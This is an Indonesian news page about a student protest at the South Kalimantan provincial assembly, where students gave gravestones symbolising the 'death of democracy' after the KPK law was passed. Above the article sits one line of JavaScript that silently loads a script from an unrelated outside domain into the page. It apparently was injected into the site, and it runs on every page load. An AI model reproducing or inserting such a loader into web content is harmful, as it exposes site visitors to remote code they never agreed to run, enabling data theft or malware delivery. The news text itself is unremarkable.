(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Mahasiswa Beri Kado ‘Nisan’ ke DPRD Kalsel sebagai Simbol Matinya Demokrasi


BANJARMASIN, Mahasiswa Kalsel memberikan kado tiga nisan kepada DPRD Kalsel dalam aksi demo di depan gedung dewan provinsi, Kamis (26/9). Kado nisan tersebut sebagai simbol telah matinya demokrasi dengan terbitnya UU KPK serta RUU kontroversial yang digodok dewan.

Korlap aksi Ghulam Reza mengatakan, nisan bertuliskan ‘matinya demokrasi Kalsel’ tersebut ditujukan kepada dewan yang dinilai kurang tanggap dalam menyerap aspirasi mahasiswa.

“Ini kado sekaligus sebagai simbol  telah matinya demokrasi,” tegasnya di tengah massa aksi.

Nisan tersebut diterima perwakilan dewan yang menemui mahasiswa di depan gedung DPRD Kalsel.

Sebelumnya, siang tadi demo sempat ricuh. Kembali terjadi dorongan dan para mahasiswa sudah mulai mengeluarkan kata-kata seperti ‘DPRD goblok’ dan juga terjadi lemparan-lemparan botol air moneral bekas ke arah aparat dari pihak massa aksi.

Hingga saat ini kondisi masih semi kondusi akibat beberapa mahasiswa mulai tidak sabar untuk masuk tapi terhalang terus oleh para anggota dewan dan pihak kepolosian masih terus melakukan negosiasi.

Sementara, pukul 13.00 WITA para anggota dewan kembali lagi menghadapi mahasiswa. Sebelumnya sudah dua kali anggota dewan bolak balik menghadapi massa aksi.  Salah satu anggota dewan, M Syariffudin mengatakan mereka juga menolak apa yang ditolak oleh para mahasiswa dalam tuntutannya. “Kalau perlu, kita pergi bersama mengantar aspirasi ini ke Jakarta,” tegasnya.

Senada, M Lufti Saifuddin menyampaikan bahwa pihaknya sudah menghubungi perwakilan Kalsel di DPR RI dan berjanji untuk menyampaikan aspirasi mahasiswa. “Saat itu cuma ini yang bisa kami sampaikan. Beri kami waktu. Kami tidak punya wewenang. Kalau pun ada, sekarang pun kami bisa hapus yang kalian tuntut,” ucapnya.

Sementara itu tanggapan para anggota dewan ini ditanggapi oleh para mahasiswa hanya sebagai pembacaan puisi. Mereka mengatakan bahwa anggota dewan cuma bisa berjanji dan tidak pernah menjalankan apa-apa. (mario/fikri)

Reporter : Mario
Editor : Chell


Desy Arfianty

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

11 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

11 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

13 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

17 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

19 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.